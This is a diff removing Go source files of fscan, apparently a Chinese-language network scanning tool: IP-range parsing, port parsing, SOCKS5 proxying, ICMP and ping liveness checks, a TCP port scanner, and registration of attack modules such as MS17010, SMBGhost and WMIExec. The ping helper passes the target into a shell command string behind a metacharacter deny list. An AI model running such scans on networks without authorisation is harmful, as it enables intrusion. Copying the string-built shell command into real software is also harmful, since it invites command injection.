Ports = strconv.Itoa(plugin.Port)
}
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports)
}
return nil
}
// showmode 显示所有支持的扫描类型
func showmode() {
fmt.Println("[!] 指定的扫描类型不存在")
fmt.Println("[*] 支持的扫描类型:")
// 显示常规服务扫描类型
fmt.Println("\n[+] 常规服务扫描:")
for name, plugin := range PluginManager {
if plugin.Port > 0 && plugin.Port < 1000000 {
fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port)
}
}
// 显示特殊漏洞扫描类型
fmt.Println("\n[+] 特殊漏洞扫描:")
for name, plugin := range PluginManager {
if plugin.Port >= 1000000 || plugin.Port == 0 {
fmt.Printf(" - %-10s\n", name)
}
}
// 显示其他扫描类型
fmt.Println("\n[+] 其他扫描类型:")
specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"}
for _, name := range specialTypes {
fmt.Printf(" - %s\n", name)
}
os.Exit(0)
}
-380
View File
@@ -1,380 +0,0 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
var ParseIPErr = errors.New("主机解析错误\n" +
"支持的格式: \n" +
"192.168.1.1 (单个IP)\n" +
"192.168.1.1/8 (8位子网)\n" +
"192.168.1.1/16 (16位子网)\n" +
"192.168.1.1/24 (24位子网)\n" +
"192.168.1.1,192.168.1.2 (IP列表)\n" +
"192.168.1.1-192.168.255.255 (IP范围)\n" +
"192.168.1.1-255 (最后一位简写范围)")
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = ParseIPs(host)
Ports = hostport[1]
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
}
} else {
// 解析主机地址
hosts = ParseIPs(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := Readipfile(filename)
if err != nil {
fmt.Printf("[!] 读取主机文件失败: %v\n", err)
} else {
hosts = append(hosts, fileHosts...)
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
}
}
}
// 处理排除主机
if len(nohosts) > 0 && nohosts[0] != "" {
excludeHosts := ParseIPs(nohosts[0])
if len(excludeHosts) > 0 {
// 使用map存储有效主机
temp := make(map[string]struct{})
for _, host := range hosts {
temp[host] = struct{}{}
}
// 删除需要排除的主机
for _, host := range excludeHosts {
delete(temp, host)
}
// 重建主机列表
var newHosts []string
for host := range temp {
newHosts = append(newHosts, host)
}
hosts = newHosts
sort.Strings(hosts)
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
}
}
// 去重处理
hosts = RemoveDuplicate(hosts)
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ParseIPErr
}
return hosts, nil
}
func ParseIPs(ip string) (hosts []string) {
if strings.Contains(ip, ",") {
IPList := strings.Split(ip, ",")
var ips []string
for _, ip := range IPList {
ips = parseIP(ip)
hosts = append(hosts, ips...)
}
} else {
hosts = parseIP(ip)
}
return hosts
}
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
// 处理常用内网IP段简写
case ip == "192":
return parseIP("192.168.0.0/8")
case ip == "172":
return parseIP("172.16.0.0/12")
case ip == "10":
return parseIP("10.0.0.0/8")
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
case strings.HasSuffix(ip, "/8"):
return parseIP8(ip)
// 处理CIDR格式 (/24 /16 /8等)
case strings.Contains(ip, "/"):
return parseIP2(ip)
// 处理域名 - 保留域名格式
case reg.MatchString(ip):
return []string{ip}
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
case strings.Contains(ip, "-"):
return parseIP1(ip)
// 处理单个IP地址
default:
testIP := net.ParseIP(ip)
if testIP == nil {
fmt.Printf("[!] 无效的IP地址格式: %s\n", ip)
return nil
}
return []string{ip}
}
}
// parseIP2 解析CIDR格式的IP地址段
func parseIP2(host string) []string {
// 解析CIDR
_, ipNet, err := net.ParseCIDR(host)
if err != nil {
fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err)
return nil
}
// 转换为IP范围并解析
ipRange := IPRange(ipNet)
hosts := parseIP1(ipRange)
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
return hosts
}
// parseIP1 解析IP范围格式的地址
func parseIP1(ip string) []string {
ipRange := strings.Split(ip, "-")
testIP := net.ParseIP(ipRange[0])
var allIP []string
// 处理简写格式 (192.168.111.1-255)
if len(ipRange[1]) < 4 {
endNum, err := strconv.Atoi(ipRange[1])
if testIP == nil || endNum > 255 || err != nil {
fmt.Printf("[!] IP范围格式错误: %s\n", ip)
return nil
}
// 解析IP段
splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil {
fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum)
return nil
}
// 生成IP列表
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
}
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
} else {
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 {
fmt.Printf("[!] IP格式错误: %s\n", ip)
return nil
}
// 解析起始和结束IP
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
return nil
}
start[i], end[i] = ip1, ip2
}
// 将IP转换为数值并生成范围内的所有IP
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." +
strconv.Itoa((num>>16)&0xff) + "." +
strconv.Itoa((num>>8)&0xff) + "." +
strconv.Itoa((num)&0xff)
allIP = append(allIP, ip)
}
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
}
return allIP
}
// IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string {
// 获取起始IP
start := c.IP.String()
// 获取子网掩码
mask := c.Mask
// 计算广播地址(结束IP)
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
// 通过位运算计算最大IP地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
// 返回"起始IP-结束IP"格式的字符串
result := fmt.Sprintf("%s-%s", start, end)
fmt.Printf("[*] CIDR范围: %s\n", result)
return result
}
// Readipfile 从文件中按行读取IP地址
func Readipfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err)
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理IP
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
// 解析IP:端口格式
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 {
fmt.Printf("[!] 忽略无效端口: %s\n", line)
continue
}
// 解析带端口的IP地址
hosts := ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
}
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
} else {
// 解析纯IP地址
hosts := ParseIPs(line)
content = append(content, hosts...)
fmt.Printf("[*] 已解析IP地址: %s\n", line)
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[!] 读取文件时出错: %v\n", err)
return content, err
}
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
return content, nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
// 使用map存储不重复的元素
temp := make(map[string]struct{})
var result []string
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// parseIP8 解析/8网段的IP地址
func parseIP8(ip string) []string {
// 去除CIDR后缀获取基础IP
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP)
return nil
}
// 获取/8网段的第一段
ipRange := strings.Split(ip, ".")[0]
var allIP []string
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
// 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
// 添加常用网关IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
// 随机采样不同范围的IP
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
}
}
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
return allIP
}
// RandInt 生成指定范围内的随机整数
func RandInt(min, max int) int {
// 参数验证
if min >= max || min == 0 || max == 0 {
return max
}
// 生成随机数
return rand.Intn(max-min) + min
}
-90
View File
@@ -1,90 +0,0 @@
package Common
import (
"fmt"
"sort"
"strconv"
"strings"
)
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
// 处理预定义端口组
if PortGroup[port] != "" {
groupPorts := ParsePort(PortGroup[port])
scanPorts = append(scanPorts, groupPorts...)
fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts)
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
fmt.Printf("[!] 无效的端口范围格式: %s\n", port)
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
fmt.Printf("[!] 忽略无效端口: %d\n", i)
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
// 使用map存储不重复的元素
temp := make(map[int]struct{})
var result []int
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
-78
View File
@@ -1,78 +0,0 @@
package Common
import (
"errors"
"fmt"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf("建立TCP连接失败: %v", err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err)
}
return conn, nil
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New("仅支持socks5代理")
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf("创建Socks5代理失败: %v", err)
}
return dialer, nil
}
-24
View File
@@ -1,24 +0,0 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Port int // 关联的端口号,0表示特殊扫描类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}
-410
View File
@@ -1,410 +0,0 @@
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
livewg.Wait()
close(chanHosts)
// 输出存活统计信息
printAliveStats(hostslist)
return AliveHosts
}
// handleAliveHosts 处理存活主机信息
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
// 输出存活信息
if !Common.Silent {
protocol := "ICMP"
if isPing {
protocol = "PING"
}
fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol)
}
AliveHosts = append(AliveHosts, ip)
}
livewg.Done()
}
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
return
}
Common.LogError(err)
fmt.Println("[-] 正在尝试无监听ICMP探测...")
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
defer conn2.Close()
RunIcmp2(hostslist, chanHosts)
return
}
Common.LogError(err)
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
fmt.Println("[*] 切换为PING方式探测...")
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i])
Common.LogSuccess(output)
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i])
Common.LogSuccess(output)
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
for {
if endflag {
return
}
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
// 发送ICMP请求
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
// 等待响应
start := time.Now()
for {
// 所有主机都已响应则退出
if len(AliveHosts) == len(hostslist) {
break
}
// 根据主机数量设置超时时间
since := time.Since(start)
wait := time.Second * 6
if len(hostslist) <= 256 {
wait = time.Second * 3
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
func RunIcmp2(hostslist []string, chanHosts chan string) {
// 控制并发数
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
close(limiter)
}
// icmpalive 检测主机ICMP是否存活
func icmpalive(host string) bool {
startTime := time.Now()
// 建立ICMP连接
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
// 设置超时时间
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
// 构造并发送ICMP请求
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
// 接收ICMP响应
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
// RunPing 使用系统Ping命令并发探测主机存活
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
// 限制并发数为50
limiter := make(chan struct{}, 50)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
}
// ExecCommandPing 执行系统Ping命令检测主机存活
func ExecCommandPing(ip string) bool {
// 过滤黑名单字符
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
for _, char := range forbiddenChars {
if strings.Contains(ip, char) {
return false
}
}
var command *exec.Cmd
// 根据操作系统选择不同的ping命令
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
default: // linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
}
// 捕获命令输出
var outinfo bytes.Buffer
command.Stdout = &outinfo
// 执行命令
if err := command.Start(); err != nil {
return false
}
if err := command.Wait(); err != nil {
return false
}
// 分析输出结果
output := outinfo.String()
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
}
// makemsg 构造ICMP echo请求消息
func makemsg(host string) []byte {
msg := make([]byte, 40)
// 获取标识符
id0, id1 := genIdentifier(host)
// 设置ICMP头部
msg[0] = 8 // Type: Echo Request
msg[1] = 0 // Code: 0
msg[2] = 0 // Checksum高位(待计算)
msg[3] = 0 // Checksum低位(待计算)
msg[4], msg[5] = id0, id1 // Identifier
msg[6], msg[7] = genSequence(1) // Sequence Number
// 计算校验和
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8) // 设置校验和高位
msg[3] = byte(check & 255) // 设置校验和低位
return msg
}
// checkSum 计算ICMP校验和
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
// 按16位累加
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
// 处理奇数长度情况
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
// 将高16位加到低16位
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
// 取反得到校验和
return uint16(^sum)
}
// genSequence 生成ICMP序列号
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8) // 高8位
ret2 := byte(v & 255) // 低8位
return ret1, ret2
}
// genIdentifier 根据主机地址生成标识符
func genIdentifier(host string) (byte, byte) {
return host[0], host[1] // 使用主机地址前两个字节
}
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {
continue
}
// 根据flag确定统计B段还是C段
var segment string
if flag {
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
} else {
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
}
segmentCounts[segment]++
}
// 创建副本用于排序
sortMap := make(map[string]int)
for k, v := range segmentCounts {
sortMap[k] = v
}
// 获取TOP N结果
for i := 0; i < length && len(sortMap) > 0; i++ {
maxSegment := ""
maxCount := 0
// 查找当前最大值
for segment, count := range sortMap {
if count > maxCount {
maxCount = count
maxSegment = segment
}
}
// 添加到结果集
arrTop = append(arrTop, maxSegment)
arrLen = append(arrLen, maxCount)
// 从待处理map中删除已处理项
delete(sortMap, maxSegment)
}
return
}
-136
View File
@@ -1,136 +0,0 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"sort"
"sync"
"time"
)
// Addr 表示待扫描的地址
type Addr struct {
ip string // IP地址
port int // 端口号
}
// PortScan 执行端口扫描
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
// 解析端口列表
probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
return AliveAddress
}
// 排除指定端口
probePorts = excludeNoPorts(probePorts)
// 创建通道
workers := Common.Threads
addrs := make(chan Addr, 100)
results := make(chan string, 100)
var wg sync.WaitGroup
// 接收扫描结果
go collectResults(&AliveAddress, results, &wg)
// 启动扫描协程
for i := 0; i < workers; i++ {
go func() {
for addr := range addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
}
// 添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
addrs <- Addr{host, port}
}
}
wg.Wait()
close(addrs)
close(results)
return AliveAddress
}
// collectResults 收集扫描结果
func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) {
for found := range results {
*aliveAddrs = append(*aliveAddrs, found)
wg.Done()
}
}
// PortConnect 尝试连接指定端口
func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp4",
fmt.Sprintf("%s:%v", addr.ip, addr.port),
time.Duration(timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
// 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
result := fmt.Sprintf("[+] 端口开放 %s", address)
Common.LogSuccess(result)
wg.Add(1)
respondingHosts <- address
}
// NoPortScan 生成端口列表(不进行扫描)
func NoPortScan(hostslist []string, ports string) []string {
var AliveAddress []string
// 解析并排除端口
probePorts := excludeNoPorts(Common.ParsePort(ports))
// 生成地址列表
for _, port := range probePorts {
for _, host := range hostslist {
address := fmt.Sprintf("%s:%d", host, port)
AliveAddress = append(AliveAddress, address)
}
}
return AliveAddress
}
// excludeNoPorts 排除指定的端口
func excludeNoPorts(ports []int) []int {
noPorts := Common.ParsePort(Common.NoPorts)
if len(noPorts) == 0 {
return ports
}
// 使用map过滤端口
temp := make(map[int]struct{})
for _, port := range ports {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
// 转换为切片并排序
var newPorts []int
for port := range temp {
newPorts = append(newPorts, port)
}
sort.Ints(newPorts)
return newPorts
}
-130
View File
@@ -1,130 +0,0 @@
package Core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
)
func init() {
// 注册标准端口服务扫描
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Port: 21,
ScanFunc: Plugins.FtpScan,
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Port: 22,
ScanFunc: Plugins.SshScan,
})
Common.RegisterPlugin("findnet", Common.ScanPlugin{
Name: "FindNet",
Port: 135,
ScanFunc: Plugins.Findnet,
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS",
Port: 139,
ScanFunc: Plugins.NetBIOS,
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB",
Port: 445,
ScanFunc: Plugins.SmbScan,
})
Common.RegisterPlugin("mssql", Common.ScanPlugin{
Name: "MSSQL",
Port: 1433,
ScanFunc: Plugins.MssqlScan,
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle",
Port: 1521,
ScanFunc: Plugins.OracleScan,
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Port: 3306,
ScanFunc: Plugins.MysqlScan,
})
Common.RegisterPlugin("rdp", Common.ScanPlugin{
Name: "RDP",
Port: 3389,
ScanFunc: Plugins.RdpScan,
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL",
Port: 5432,
ScanFunc: Plugins.PostgresScan,
})
Common.RegisterPlugin("redis", Common.ScanPlugin{
Name: "Redis",
Port: 6379,
ScanFunc: Plugins.RedisScan,
})
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
Name: "FastCGI",
Port: 9000,
ScanFunc: Plugins.FcgiScan,
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached",
Port: 11211,
ScanFunc: Plugins.MemcachedScan,
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB",
Port: 27017,
ScanFunc: Plugins.MongodbScan,
})
// 注册特殊扫描类型
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
Name: "MS17010",
Port: 445,
ScanFunc: Plugins.MS17010,
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost",
Port: 445,
ScanFunc: Plugins.SmbGhost,
})
Common.RegisterPlugin("web", Common.ScanPlugin{
Name: "WebTitle",
Port: 0,
ScanFunc: Plugins.WebTitle,
})
Common.RegisterPlugin("smb2", Common.ScanPlugin{
Name: "SMBScan2",
Port: 445,
ScanFunc: Plugins.SmbScan2,
})
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
Name: "WMIExec",
Port: 135,
ScanFunc: Plugins.WmiExec,
})
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
Name: "LocalInfo",
Port: 0,
ScanFunc: Plugins.LocalInfoScan,
})
}
-204
View File
@@ -1,204 +0,0 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"strconv"
"strings"
"sync"
)
func Scan(info Common.HostInfo) {
fmt.Println("[*] 开始信息扫描...")
// 本地信息收集模块
if Common.Scantype == "localinfo" {
ch := make(chan struct{}, Common.Threads)
wg := sync.WaitGroup{}
AddScan("localinfo", info, &ch, &wg)
wg.Wait()
Common.LogWG.Wait()
close(Common.Results)
fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num)
return
}
// 解析目标主机IP
Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts)
if err != nil {
fmt.Printf("[!] 解析主机错误: %v\n", err)
return
}
// 初始化配置
lib.Inithttp()
ch := make(chan struct{}, Common.Threads)
wg := sync.WaitGroup{}
var AlivePorts []string
if len(Hosts) > 0 || len(Common.HostPort) > 0 {
// ICMP存活性检测
if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" {
Hosts = CheckLive(Hosts, Common.Ping)
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts))
if Common.Scantype == "icmp" {
Common.LogWG.Wait()
return
